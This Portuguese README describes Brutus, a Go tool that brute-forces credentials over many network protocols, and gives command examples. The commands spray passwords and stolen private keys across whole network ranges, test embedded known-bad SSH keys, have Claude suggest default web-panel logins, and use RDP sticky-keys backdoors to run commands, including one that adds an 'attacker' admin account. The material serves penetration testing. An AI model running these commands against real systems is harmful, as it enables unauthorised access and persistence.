Ferramenta de teste de credenciais rápida e sem dependências em Go. Realiza força bruta em SSH, MySQL, PostgreSQL, Redis, MongoDB, SMB e mais de 20 protocolos. Alternativa ao Hydra com integração nativa ao pipeline nerva/naabu.
<img width="2752" height="1536" alt="Brutus - Social" src="https://assets.kitploit.com/production/public/readmes/11715/32309a4ca6e7282c8dcd718e2b275a392b73a81f51cbd5d1738464eb3933fd22.png" />
<h1 align="center">Brutus</h1>
<p align="center">
<em>"Et tu, Brute?" — As últimas palavras antes das credenciais caírem.</em>
</p>
<p align="center">
<strong>Ferramenta moderna de teste de credenciais em Go puro</strong>
</p>
<p align="center">
<a href="#installation">Instalação</a> •
<a href="#quick-start">Início Rápido</a> •
<a href="#pipeline-integration">Pipeline</a> •
<a href="#supported-protocols">Protocolos</a> •
<a href="#account-enumeration">Enumeração</a> •
<a href="#socks5-proxy-support">Proxy</a> •
<a href="#library-integration">Biblioteca</a>
</p>
---
## Visão Geral
Brutus é uma ferramenta de teste de autenticação multiprotocolo projetada para preencher uma lacuna crítica nas ferramentas de segurança ofensiva: validação eficiente de credenciais em diversos serviços de rede. Embora ferramentas focadas em HTTP sejam abundantes, testadores de penetração e operadores de red team frequentemente encontram bancos de dados, SSH, SMB e outros serviços de rede que exigem capacidades de teste de autenticação específicas.
Construído em Go como um único binário sem dependências externas, o Brutus integra-se perfeitamente com o [Nerva](https://github.com/praetorian-inc/nerva) para descoberta automatizada de serviços, permitindo que os operadores identifiquem e testem rapidamente vetores de autenticação em faixas de rede inteiras.
**Principais recursos:**
- **Zero dependências:** Binário único, multiplataforma (Linux, Windows, macOS)
- **43 protocolos:** SSH, RDP, MySQL, PostgreSQL, MSSQL, Oracle, Redis, SMB, LDAP, WinRM, SNMP, HTTP Basic Auth, MQTT e mais
- **Suporte a proxy SOCKS5:** Encaminhe todo o tráfego através de um proxy SOCKS5 com `--proxy`
- **Modos de agressividade:** `--mode cautious|default|aggressive` para ajustar cobertura vs. segurança
- **Integração com pipeline:** Suporte nativo para fluxos de trabalho Nerva, naabu, nmap e masscan
- **Chaves ruins incorporadas:** Coleção integrada de chaves SSH conhecidas (Vagrant, F5, ExaGrid, etc.)
- **Enumeração de contas:** enumeração de oráculo de existência de conta, enumeração de usuários Kerberos, geração de e-mail, autenticação por código de dispositivo Microsoft Teams/Entra ID
- **Biblioteca Go:** Importe diretamente em suas ferramentas de automação de segurança
- **Pronto para produção:** Limitação de taxa, pool de conexões e tratamento abrangente de erros
---
## Por que Brutus?
Ferramentas tradicionais como **THC Hydra** serviram bem a comunidade de segurança, mas vêm com atritos significativos: cadeias de dependências complexas, problemas de compilação específicos de plataforma e nenhuma integração nativa com fluxos de trabalho modernos de reconhecimento.
**Brutus** é construído especificamente para segurança ofensiva moderna:
- **Implantação verdadeiramente sem dependências:** Baixe um único binário e execute. Sem `libssh-dev`, sem `libmysqlclient-dev`, sem erros de compilação. Funciona de forma idêntica em Linux, macOS e Windows.
- **Integração nativa com pipeline:** Brutus fala JSON e integra-se diretamente com [Nerva](https://github.com/praetorian-inc/nerva), [naabu](https://github.com/projectdiscovery/naabu), [nmap](https://nmap.org) e [masscan](https://github.com/robertdavidgraham/masscan). Encaminhe serviços descobertos diretamente para teste de credenciais sem conversão de formato ou scripting.
- **Inteligência incorporada:** Chaves SSH ruins conhecidas (Vagrant, F5 BIG-IP, ExaGrid, etc.) são compiladas no binário. Use `brutus badkeys` para testá-las contra alvos SSH.
- **Design focado em biblioteca:** Importe Brutus diretamente em suas ferramentas de segurança Go. Construa automação personalizada sem recorrer a processos externos.
```bash
# Full network credential audit in one pipeline (JSON mode)
naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva --json | brutus creds --json
# Or use Nerva's default URI output — no --json flags needed
naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva | brutus creds
```
---
## Casos de Uso
### Teste de Penetração
- Validar credenciais descobertas em múltiplos serviços durante avaliações internas
- Testar padrões de reutilização de senhas em serviços de banco de dados e compartilhamento de arquivos
- Identificar credenciais padrão em infraestrutura recém-implantada
### Operações de Red Team
- Validação rápida de credenciais após vazamentos de senhas ou campanhas de phishing
- Testar oportunidades de movimento lateral em serviços de rede
- Validar credenciais comprometidas em ambientes heterogêneos
### Pulverização de Chaves Privadas
Encontrou uma chave privada em um sistema comprometido? Pulverize-a pela rede para descobrir onde mais ela concede acesso:
```bash
# Discover SSH services and spray a found private key
naabu -host 10.0.0.0/24 -p 22 -silent | \
nerva --json | \
brutus creds -u root,admin,ubuntu,deploy -k /path/to/found_key --json
```
Este pipeline descobre todos os serviços SSH, identifica-os com o Nerva e testa a chave comprometida contra nomes de usuário comuns—revelando oportunidades de movimento lateral em segundos.
### Teste de Painel de Administração Web
Descubra serviços HTTP e teste credenciais usando detecção com IA ou listas de credenciais manuais:
```bash
# AI-powered: auto-detect devices and suggest default credentials
naabu -host 10.0.0.0/24 -p 80,443,3000,8080,9090 -silent | \
nerva --json | \
brutus web --experimental-ai --json
# Manual: test specific credentials against web panels
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | \
nerva --json | \
brutus web -c "admin:admin,root:password" --json
# Default wordlist: test common credentials without AI or -c
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | \
nerva --json | \
brutus web --json
```
### Validação de Segurança
- Testar credenciais padrão em serviços recém-implantados
- Validar a aplicação da política de senhas em todas as plataformas
- Gerar trilhas de auditoria para conformidade e avaliações de segurança
---
## Instalação
### Binários Pré-compilados (Recomendado)
Baixe em [GitHub Releases](https://github.com/praetorian-inc/brutus/releases):
```bash
# Linux (amd64)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-linux-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
# macOS (Apple Silicon)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-arm64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
# macOS (Intel)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
```
```powershell
# Windows (PowerShell)
Invoke-WebRequest -Uri https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-windows-amd64.zip -OutFile brutus.zip
Expand-Archive -Path brutus.zip -DestinationPath .
Remove-Item brutus.zip
```
### Instalação via Go
```bash
go install github.com/praetorian-inc/brutus/cmd/brutus@latest
```
---
## Início Rápido
### Subcomandos
<!-- BEGIN generated: cli-subcommands -->
O Brutus organiza sua funcionalidade nestes subcomandos focados:
```bash
brutus badkeys # Test known weak/compromised SSH keys against targets
brutus creds # Test default credentials on non-HTTP services (SSH, databases, SMB, etc.)
brutus enum # Enumerate accounts against account-existence oracles or Active Directory
brutus logon # Detect Windows logon-screen backdoors (runs both sticky keys and utilman)
brutus snmp # Test SNMP community strings against targets
brutus stickykeys # Detect the Windows sticky-keys (sethc.exe) logon backdoor only
brutus template # Run product-specific default-credential templates
brutus utilman # Detect the Windows utilman (Ease of Access) logon backdoor only
brutus web # Audit HTTP/web panel credentials (AI-powered or credential list)
```
<!-- END generated: cli-subcommands -->
<!-- BEGIN generated: cli-aliases -->
Alguns subcomandos possuem aliases para facilitar a descoberta:
| Subcomando | Aliases |
| --- | --- |
| `badkeys` | `keys`, `ssh-keys`, `badkey` |
| `creds` | `services`, `defaults`, `credentials` |
| `snmp` | `community` |
| `web` | `http`, `panels` |
A referência completa — cada subcomando, alias e flag, incluindo os ocultos de `--help` — é gerada em [docs/CLI.md](https://github.com/praetorian-inc/brutus/blob/main/docs/CLI.md).
<!-- END generated: cli-aliases -->
```bash
# Test SSH credentials
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor
# Test HTTP web panel with AI credential detection
brutus web --target 192.168.1.1:80 --experimental-ai
# Test HTTP web panel with manual credentials
brutus web --target 192.168.1.1:80 -c "admin:admin,root:toor"
# Test SNMP community strings
brutus snmp --target 192.168.1.1:161 --mode aggressive
# Detect Windows logon-screen backdoors
brutus logon --target 10.0.0.50:3389
# Pipeline mode: creds skips HTTP/SNMP, web skips non-HTTP, snmp skips non-SNMP
naabu -host 10.0.0.0/24 -silent | nerva --json | brutus creds -P passwords.txt
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | nerva --json | brutus web --experimental-ai
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
```
### Uso Básico
```bash
# Test SSH with default credentials
brutus creds --target 192.168.1.100:22 --protocol ssh
# Test with specific credentials
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor
# Test with username and password lists
brutus creds --target 192.168.1.100:22 --protocol ssh -U users.txt -P passwords.txt
# Test MySQL database
brutus creds --target 192.168.1.100:3306 --protocol mysql -u root -p password
# Test SSH with a specific private key
brutus creds --target 192.168.1.100:22 --protocol ssh -u deploy -k /path/to/id_rsa
# Increase threads for faster testing
brutus creds --target 192.168.1.100:22 --protocol ssh -t 20
# JSON output for scripting
brutus creds --target 192.168.1.100:22 --protocol ssh --json
```
### Exemplo de Saída
```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root,admin -p toor,password,admin
[+] VALID: ssh root:toor @ 192.168.1.100:22 (1.23s)
```
Com o modo verboso (`-v`):
```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p password,toor -v
[-] FAILED: ssh root:password @ 192.168.1.100:22 (0.45s)
[+] VALID: ssh root:toor @ 192.168.1.100:22 (0.52s)
```
Saída JSON para integração de pipeline (produz apenas credenciais bem-sucedidas):
```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor --json
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
```
---
## Integração de Pipeline
O Brutus integra-se perfeitamente com **[Nerva](https://github.com/praetorian-inc/nerva)** e **[naabu](https://github.com/projectdiscovery/naabu)** para reconhecimento completo de rede.
### Cenários do Mundo Real
#### Cenário 1: Digitalizar uma Rede Corporativa /24
```bash
# Discover all open ports, identify services, test default credentials
naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent | \
nerva --json | \
brutus creds --json -o results.json
# Same pipeline using Nerva's default URI output (no --json needed)
naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent | \
nerva | brutus creds -o results.json
# Review findings (all output is successful credentials)
cat results.json | jq '.'
```
#### Cenário 2: Reconhecimento de Bug Bounty em um Domínio Alvo
```bash
# Full pipeline against a single target
naabu -host target.example.com -top-ports 1000 -silent | \
nerva --json | \
brutus creds
# Or scan a list of subdomains
cat subdomains.txt | naabu -silent | nerva --json | brutus creds
```
#### Cenário 3: Caça a Bancos de Dados em uma Avaliação Interna
```bash
# Find and test all databases in a range
naabu -host 192.168.0.0/16 -p 3306,5432,1433,27017,6379,9042 -silent | \
nerva --json | \
brutus creds -t 5 --json | \
tee database-findings.json
# Extract credentials in readable format
jq -r '"\(.target) \(.username):\(.password)"' database-findings.json
```
#### Cenário 4: Teste de Chave SSH em Toda a Infraestrutura
```bash
# Test embedded bad keys (Vagrant, F5 BIG-IP, ExaGrid, etc.) across a range
naabu -host 10.0.0.0/8 -p 22 -rate 1000 -silent | \
nerva --json | \
brutus badkeys --json -o ssh-key-findings.json
# Find systems using compromised SSH keys (key field is true)
cat ssh-key-findings.json | jq 'select(.key == true)'
```
#### Cenário 5: Teste Direcionado de Serviços
```bash
# Test only Redis instances found in the network
naabu -host 172.16.0.0/12 -p 6379 -silent | \
nerva --json | \
brutus creds
# Test only MongoDB with custom credentials
naabu -host 10.0.0.0/24 -p 27017 -silent | \
nerva --json | \
brutus creds -u admin,root,mongodb -p admin,password,mongodb
```
### Importação de Ferramentas de Scan (Nmap & Masscan)
O Brutus pode importar alvos diretamente de arquivos de saída de scan do **nmap** e **masscan**, eliminando a necessidade de conversão de formato ou ferramentas intermediárias.
#### Importação de XML do Nmap (`--nmap-file`)
Importe alvos a partir da saída XML do nmap (`-oX`). O Nmap fornece fingerprinting de serviços, então o Brutus mapeia automaticamente os serviços detectados para o protocolo correto:
```bash
# Run an nmap service scan
nmap -sV -oX scan.xml 10.0.0.0/24 -p 22,3306,5432,6379,445,3389
# Feed nmap results directly to Brutus
brutus creds --nmap-file scan.xml -P passwords.txt
# Test web services from nmap scan
brutus web --nmap-file scan.xml -c "admin:admin,root:password"
# Test SNMP from nmap scan
brutus snmp --nmap-file scan.xml --mode aggressive
# JSON output for scripting
brutus creds --nmap-file scan.xml --json -o results.json
```
Nomes de serviço do Nmap são automaticamente mapeados para protocolos do Brutus (por exemplo, `ms-wbt-server` → `rdp`, `microsoft-ds` → `smb`). TLS é detectado a partir do atributo `tunnel="ssl"` do nmap. Apenas portas abertas em hosts ativos são importadas.
#### Importação de JSON do Masscan (`--masscan-file`)
Importe alvos a partir da saída JSON do masscan (`-oJ`). Como o masscan é apenas um scanner de portas (sem fingerprinting de serviços), você deve especificar `--protocol` ou deixar o Brutus fazer o fingerprinting automático com o Nerva:
```bash
# Run a masscan port scan
masscan 10.0.0.0/24 -p 22,3306,5432,6379 -oJ scan.json --rate 10000
# Test all discovered ports as SSH (when you know what's running)
brutus creds --masscan-file scan.json --protocol ssh -u root -P passwords.txt
# Auto-fingerprint with Nerva (when services are unknown)
brutus creds --masscan-file scan.json -P passwords.txt
```
#### Combinando com Outros Fluxos de Trabalho
As flags `--nmap-file` e `--masscan-file` funcionam com todos os subcomandos e são mutuamente exclusivas com `--target`, `--targets-file` e stdin:
```bash
# Scan for RDP backdoors from nmap results
brutus logon --nmap-file scan.xml
# Test SSH bad keys from nmap results
brutus badkeys --nmap-file scan.xml
# Override protocol for all masscan targets
brutus creds --masscan-file scan.json --protocol redis -p "redis,password"
```
### Formato de Entrada do Pipeline
O Brutus aceita múltiplos formatos de entrada via stdin:
**Nerva JSON** (`nerva --json`):
```bash
{"ip":"192.168.1.100","port":22,"protocol":"ssh","tls":false,"transport":"tcp","version":"OpenSSH_8.9p1"}
{"ip":"192.168.1.101","port":3306,"protocol":"mysql","tls":false,"transport":"tcp","version":"8.0.32"}
```
**Nerva URI** (saída padrão do Nerva, sem necessidade de `--json`):
```bash
# Nerva outputs URI-scheme lines by default
$ echo "github.com:22" | nerva
ssh://github.com:22 (20.205.243.166)
# Pipe directly to Brutus — protocol is extracted from the URI scheme
echo "10.0.0.1:22" | nerva | brutus creds
echo "10.0.0.0/24:3306" | naabu -silent | nerva | brutus creds
```
**Alvos simples** (auto-fingerprinted com Nerva):
```bash
echo "192.168.1.100:22" | brutus creds
```
Brutus automaticamente:
- Analisa formatos JSON, esquema URI e alvos simples
- Mapeia serviços para protocolos
- Testa credenciais padrão apropriadas
- Produz resultados no formato JSON correspondente
### Formato de Saída do Pipeline
Brutus produz apenas credenciais bem-sucedidas no formato JSONL (um objeto JSON por linha):
```bash
# Brutus JSON output (with --json flag) - only successful authentications
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
{"protocol":"mysql","target":"192.168.1.101:3306","username":"root","password":"","duration":"890.123µs"}
{"protocol":"ssh","target":"192.168.1.103:22","username":"vagrant","key":true,"duration":"2.345678ms","banner":"SSH-2.0-OpenSSH_9.6"}
```
**Nota:** Tentativas de autenticação falhadas não são incluídas na saída JSON. O campo `key` aparece (como `true`) quando a autenticação utilizou uma chave SSH em vez de uma palavra-passe. O campo `llm_suggested` aparece (como `true`) quando as credenciais foram sugeridas pelo sistema de IA (`--experimental-ai`).
---
## Comparação
| Funcionalidade | Hydra | Medusa | Ncrack | **Brutus** |
|---------|:-----:|:------:|:------:|:----------:|
| Binário Único | ❌ | ❌ | ❌ | ✅ |
| Zero Dependências | ❌ | ❌ | ❌ | ✅ |
| Proxy SOCKS5 | ✅ | ❌ | ❌ | ✅ |
| Pipeline Nerva | ❌ | ❌ | ❌ | ✅ |
| Importação Nmap/Masscan | ❌ | ❌ | ❌ | ✅ |
| Streaming JSON | ⚠️ | ❌ | ❌ | ✅ |
| Multiplataforma | ⚠️ | ⚠️ | ⚠️ | ✅ |
| Erros Consistentes | ⚠️ | ⚠️ | ⚠️ | ✅ |
| Desenvolvimento Ativo | ✅ | ⚠️ | ❌ | ✅ |
| Bad Keys Incorporadas | ❌ | ❌ | ❌ | ✅ |
| Importação como Biblioteca Go | ❌ | ❌ | ❌ | ✅ |
---
## Protocolos Suportados
O Brutus suporta **43 protocolos**:
### Serviços de Rede
| Protocolo | Porta | Métodos de Autenticação | Caso de Uso |
|----------|------|--------------|----------|
| SSH | 22 | Palavra-passe, Chaves Privadas | Servidores, equipamentos de rede |
| FTP | 21 | Palavra-passe | Servidores de ficheiros, dispositivos NAS |
| rsync | 873 | Segredos de módulo, Anónimo | Sincronização de ficheiros |
| Telnet | 23 | Palavra-passe | Sistemas legados, dispositivos IoT |
| VNC | 5900 | Palavra-passe | Ambientes de trabalho remotos |
| RDP | 3389 | NLA/CredSSP, Palavra-passe | Servidores Windows, estações de trabalho |
| SNMP | 161 | Community String | Dispositivos de rede, impressoras |
| IPMI | 623/udp | RMCP | BMC / lights-out |
| OPC UA | 4840 | Token de nome de utilizador, Anónimo | ICS/SCADA |
### Serviços Web
| Protocolo | Porta | Métodos de Autenticação | Caso de Uso |
|----------|------|--------------|----------|
| HTTP | 80 | Autenticação Básica | Painéis de administração (Grafana, Jenkins, etc.) |
| HTTPS | 443 | Autenticação Básica | Painéis de administração seguros |
| Browser | 80/443 | Formulário | login Microsoft/Entra baseado em browser |
### Infraestrutura Empresarial
| Protocolo | Porta | Métodos de Autenticação | Caso de Uso |
|----------|------|--------------|----------|
| SMB | 445 | Palavra-passe, NTLM | Redes Windows, partilhas de ficheiros |
| LDAP | 389/636 | Bind DN | Active Directory, identidade |
| WinRM | 5985/5986 | NTLM | Gestão remota Windows |
### Bases de Dados
| Protocolo | Porta | Métodos de Autenticação | Caso de Uso |
|----------|------|--------------|----------|
| MySQL | 3306 | Palavra-passe | Aplicações web |
| PostgreSQL | 5432 | Palavra-passe | Aplicações modernas |
| MSSQL | 1433 | Palavra-passe | Aplicações empresariais |
| MongoDB | 27017 | Palavra-passe | Backends NoSQL |
| Redis | 6379 | Palavra-passe | Caching, sessões |
| Memcached | 11211 | SASL, Anónimo | Caching |
| Neo4j | 7687 | Palavra-passe | Bases de dados de grafos |
| Cassandra | 9042 | Palavra-passe | Bases de dados distribuídas |
| CouchDB | 5984 | HTTP Basic | Armazenamento de documentos |
| Elasticsearch | 9200 | HTTP Basic | Motores de busca |
| InfluxDB | 8086 | HTTP Basic | Dados de séries temporais |
| Oracle | 1521 | Palavra-passe | Bases de dados empresariais |
| DB2 | 50000 | Palavra-passe | Bases de dados empresariais |
| Firebird | 3050 | Palavra-passe | Bases de dados incorporadas |
### Contentores & Orquestração
| Protocolo | Porta | Métodos de Autenticação | Caso de Uso |
|----------|------|--------------|----------|
| Docker | 2375/2376 | Não autenticado | Daemons Docker expostos |
| Kubernetes | 6443/10250 | Não autenticado | API/kubelet K8s expostos |
### Comunicações
| Protocolo | Porta | Métodos de Autenticação | Caso de Uso |
|----------|------|--------------|----------|
| SMTP | 25/587 | Palavra-passe | Relay de correio |
| IMAP | 143/993 | Palavra-passe | Acesso a caixa de correio |
| POP3 | 110/995 | Palavra-passe | Acesso a caixa de correio |
| ActiveMQ | 61616 | Palavra-passe | Brokers OpenWire |
| SIP | 5060/5061 | Digest | VoIP |
| TURN | 3478 | Palavra-passe | Relay TURN |
| ZooKeeper | 2181 | Digest, Anónimo | Coordenação |
| NATS | 4222 | Palavra-passe, Anónimo | Mensagens |
| XMPP | 5222 | SASL PLAIN | Chat |
| MQTT | 1883/8883 | Palavra-passe, Anónimo | Brokers IoT |
| AMQP | 5672/5671 | SASL PLAIN | RabbitMQ |
| Kafka | 9092 | SASL/PLAIN | Brokers |
| SOCKS5 | 1080 | Autenticação de proxy SOCKS5 | Proxies |
---
## Bad Keys SSH Incorporadas
Implementação em binário único sem necessidade de ficheiros de chaves externos. Cada chave é emparelhada com o seu nome de utilizador predefinido para mapeamento inteligente de credenciais, e o rastreamento de CVE permite consultas de conformidade.
O Brutus inclui as coleções de chaves **[rapid7/ssh-badkeys](https://github.com/rapid7/ssh-badkeys)** e **[Vagrant](https://github.com/hashicorp/vagrant)** incorporadas no binário:
```bash
# Test bad keys against a single target
brutus badkeys --target 192.168.1.100:22
# Pipeline mode: scan a range for compromised SSH keys
naabu -host 10.0.0.0/24 -p 22 -silent | nerva --json | brutus badkeys
# Test credentials (bad keys are NOT included in creds mode)
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p "password"
```
### Coleta de Chaves Incorporadas
| Produto | CVE | Usuário Padrão | Descrição |
|---------|-----|--------------|-------------|
| Vagrant | - | vagrant, root | Chave insegura do HashiCorp Vagrant |
| F5 BIG-IP | CVE-2012-1493 | root | Chave de host SSH estática |
| ExaGrid | CVE-2016-1561 | root | Backdoor de appliance de backup |
| Monroe DASDEC | CVE-2013-0137 | root | Sistemas de alerta de emergência |
| Barracuda | CVE-2014-8428 | cluster | VM de balanceador de carga |
| Ceragon FibeAir | CVE-2015-0936 | mateidu | Backhaul sem fio |
| Array Networks | - | sync | Appliances vAPV/vxAG |
| Quantum DXi | - | root | Appliances de deduplicação |
| Loadbalancer.org | - | root | Balanceadores de carga empresariais |
---
## Modos de Agressividade
A flag global `--mode` (`-m`) controla a agressividade em todos os subcomandos. Ela define presets de ajuste de desempenho que equilibram cobertura e segurança:
| Modo | Threads | Timeout | Limite de Taxa | Jitter | Tentativas | Caso de Uso |
|------|---------|---------|------------|--------|---------|----------|
| `cautious` | 5 | 15s | 2 req/s | 500ms | 1 | Ambientes de produção, evitar bloqueios |
| `default` | 10 | 10s | Ilimitado | Nenhum | 2 | Testes padrão |
| `aggressive` | 20 | 10s | Ilimitado | Nenhum | 3 | Ambientes de laboratório/CTF, cobertura máxima |
Os presets de modo são aplicados primeiro, depois quaisquer flags explícitas da CLI os substituem:
```bash
# Safe mode for production Active Directory (low concurrency, rate-limited)
brutus creds --target dc.corp.local:445 --protocol smb -m cautious -U users.txt -P passwords.txt
# Maximum coverage for a CTF
brutus creds --target 10.10.10.100:22 --protocol ssh -m aggressive -U users.txt -P rockyou.txt
# Cautious mode but override threads
brutus creds --target 192.168.1.100:22 --protocol ssh -m cautious --threads 20
```
Para SNMP, o modo também controla a profundidade da wordlist integrada (consulte [SNMP Community String Testing](#snmp-community-string-testing)).
---
## Suporte a Proxy SOCKS5
A flag `--proxy` encaminha todas as conexões através de um proxy SOCKS5. Isto funciona em todos os protocolos e subcomandos:
```bash
# Route SSH testing through a SOCKS5 proxy
brutus creds --target 10.0.0.100:22 --protocol ssh --proxy socks5://127.0.0.1:1080
# Proxy with authentication
brutus creds --target 10.0.0.100:3306 --protocol mysql --proxy socks5://user:[email protected]:1080
# DNS resolution on the proxy side (socks5h)
brutus creds --target internal.corp:22 --protocol ssh --proxy socks5h://127.0.0.1:1080
# Combine with pipeline input
naabu -host 10.0.0.0/24 -p 22,3306 -silent | nerva --json | brutus creds --proxy socks5://127.0.0.1:1080
# Works with all subcommands
brutus web --target 192.168.1.1:8080 --proxy socks5://127.0.0.1:1080
brutus snmp --target 192.168.1.1:161 --proxy socks5://127.0.0.1:1080
```
Esquemas suportados:
- `socks5://` — Proxy SOCKS5 padrão (resolução DNS do lado do cliente)
- `socks5h://` — SOCKS5 com resolução DNS remota (útil ao direcionar para hostnames internos)
---
## Teste de Community String SNMP
O subcomando `snmp` fornece teste dedicado de community string SNMP v1/v2c com wordlists em camadas controladas pela flag global `--mode`:
| Modo | Strings | Cobertura |
|------|---------|----------|
| `cautious` | ~25 | Strings comuns (public, private, community, etc.) |
| `default` | ~25 | Igual ao cautious |
| `aggressive` | 200+ | Abrangente (específico de fornecedor, SCADA, câmeras IP, armazenamento, etc.) |
```bash
# Test with default community strings (~25)
brutus snmp --target 192.168.1.1:161
# Aggressive mode for comprehensive testing (200+)
brutus snmp --target 10.0.0.1:161 --mode aggressive
# Custom community strings
brutus snmp --target 192.168.1.1:161 -c "mycommunity,secretstring"
# Custom community string file
brutus snmp --target 192.168.1.1:161 -C community-strings.txt
# Pipeline mode
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
```
---
## Integração com Biblioteca
Para desenvolvedores que criam ferramentas de automação de segurança, o Brutus também pode ser importado como uma biblioteca Go:
```bash
go get github.com/praetorian-inc/brutus
```
```go
package main
import (
"fmt"
"time"
"github.com/praetorian-inc/brutus/pkg/brutus"
_ "github.com/praetorian-inc/brutus/pkg/builtins" // registers all protocols and analyzers
)
func main() {
config := &brutus.Config{
Target: "192.168.1.100:22",
Protocol: "ssh",
Usernames: []string{"root", "admin"},
Passwords: []string{"password", "admin", "toor"},
Timeout: 5 * time.Second,
Threads: 10,
}
results, err := brutus.Brute(config)
if err != nil {
panic(err)
}
for _, r := range results {
if r.Success {
fmt.Printf("[+] Valid: %s:%s\n", r.Username, r.Password)
}
}
}
```
---
## Experimental: Detecção de Credenciais com IA
> **⚠️ Recurso Experimental:** Os recursos de IA exigem chaves de API externas e estão em desenvolvimento ativo.
### A Flag `--experimental-ai`
A flag `--experimental-ai` habilita a detecção automática de credenciais para serviços HTTP:
```bash
# Set up API keys
export ANTHROPIC_API_KEY="your-anthropic-key" # Required: Claude Vision for device identification
export PERPLEXITY_API_KEY="your-perplexity-key" # Optional: additional web search
# AI-powered credential testing against HTTP services
naabu -host 192.168.1.0/24 -p 80,443,8080 -silent | \
nerva --json | \
brutus web --experimental-ai
```
**Como funciona:**
1. **Detecção** — Brutus sonda alvos HTTP para detectar o tipo de autenticação (Basic Auth vs baseada em formulário)
2. **Identificação do Dispositivo** — Claude Vision analisa capturas de tela para identificar o dispositivo/aplicação
3. **Sugestões de Credenciais** — Claude sugere credenciais padrão a partir de seus dados de treinamento
4. **Pesquisa Web Opcional** — Perplexity (se configurado) pesquisa credenciais adicionais online
5. **Teste** — Testa as credenciais descobertas contra o alvo
**Para alvos HTTP Basic Auth:**
- Sonda `/` para capturar cabeçalhos HTTP
- Identifica o dispositivo a partir do cabeçalho Server, realm WWW-Authenticate, etc.
- Claude sugere prováveis credenciais padrão
- Testa pares de credenciais automaticamente
**Para alvos HTTP com autenticação baseada em formulário:**
- Usa Chrome headless para renderizar e capturar a tela da página
- Claude Vision identifica o formulário de login, o tipo de dispositivo e sugere credenciais
- Perplexity (opcional) pesquisa credenciais padrão adicionais
- Automação do navegador preenche e envia o formulário
**Requisitos:**
- `ANTHROPIC_API_KEY` — **Obrigatório** para Claude Vision (identificação de dispositivo + sugestões de credenciais)
- `PERPLEXITY_API_KEY` — *Opcional* para pesquisa web adicional
- Chrome/Chromium instalado (apenas para autenticação baseada em formulário)
**Protocolos não-HTTP (SSH, MySQL, etc.) não são afetados por `--experimental-ai`** — eles continuam a usar testes de credenciais padrão.
---
## RDP: Detecção e Exploração do Backdoor de Teclas de Aderência
Brutus inclui detecção automática do **backdoor de teclas de aderência** (MITRE ATT&CK [T1546.008](https://attack.mitre.org/techniques/T1546/008/)) em alvos RDP. Esta verificação de pré-autenticação é executada em alvos RDP sem NLA — nenhuma credencial é necessária.
**Como funciona:**
1. Conecta-se ao alvo RDP e negocia uma sessão sem NLA
2. Captura o bitmap da tela de login como linha de base
3. Envia 5x a tecla Shift (o gatilho das teclas de aderência)
4. Captura o bitmap da resposta
5. Análise heurística detecta se uma janela de terminal apareceu (cmd.exe, PowerShell, etc.)
6. Opcionalmente confirma via API Claude Vision (quando `ANTHROPIC_API_KEY` está definida)
```bash
# Detection only — no brute force
brutus logon --target 10.0.0.50:3389
# Detection + Vision API confirmation
brutus logon --target 10.0.0.50:3389 --experimental-ai
```
**Modo somente detecção:** O subcomando `logon` executa a detecção de backdoor de sticky keys e utilman sem força bruta:
```bash
# Detection only (no brute force)
brutus logon --target 10.0.0.50:3389
```
**Saída de deteção:**
```
[CRITICAL] Sticky keys backdoor CONFIRMED (confidence: 85%)
sethc.exe has been replaced with cmd.exe or similar.
SYSTEM-level unauthenticated access available via 5x Shift.
```
### Execução de Comandos via Backdoor (`--exec`)
Uma vez detetado um backdoor, execute um comando no sistema remoto através do prompt de comando pré-autenticação:
```bash
# Execute a single command via the backdoor
brutus logon --target 10.0.0.50:3389 --exec "whoami"
# Add a local admin account
brutus logon --target 10.0.0.50:3389 \
--exec "net user attacker P@ssw0rd /add && net localgroup administrators attacker /add"
```
Isso se conecta, aciona o backdoor, digita o comando, pressiona Enter, aguarda a saída e salva uma captura de tela PNG do resultado.
### Terminal Web Interativo (`--web`)
Inicie um visualizador RDP baseado em navegador para interação ao vivo com o prompt de comando do backdoor:
```bash
# Start interactive web terminal
brutus logon --target 10.0.0.50:3389 --web
```
Isso inicia um servidor HTTP local com:
- **Streaming de tela ao vivo** a ~10 FPS (JPEG sobre WebSocket)
- **Encaminhamento completo de teclado** (scancodes PS/2 mapeados a partir de KeyboardEvent do navegador)
- **Suporte a mouse** (clique, movimento, clique com o botão direito)
- **Status de conexão** com sobreposição de desconexão e botão de reconexão
---
[Read more](https://github.com/praetorian-inc/brutus)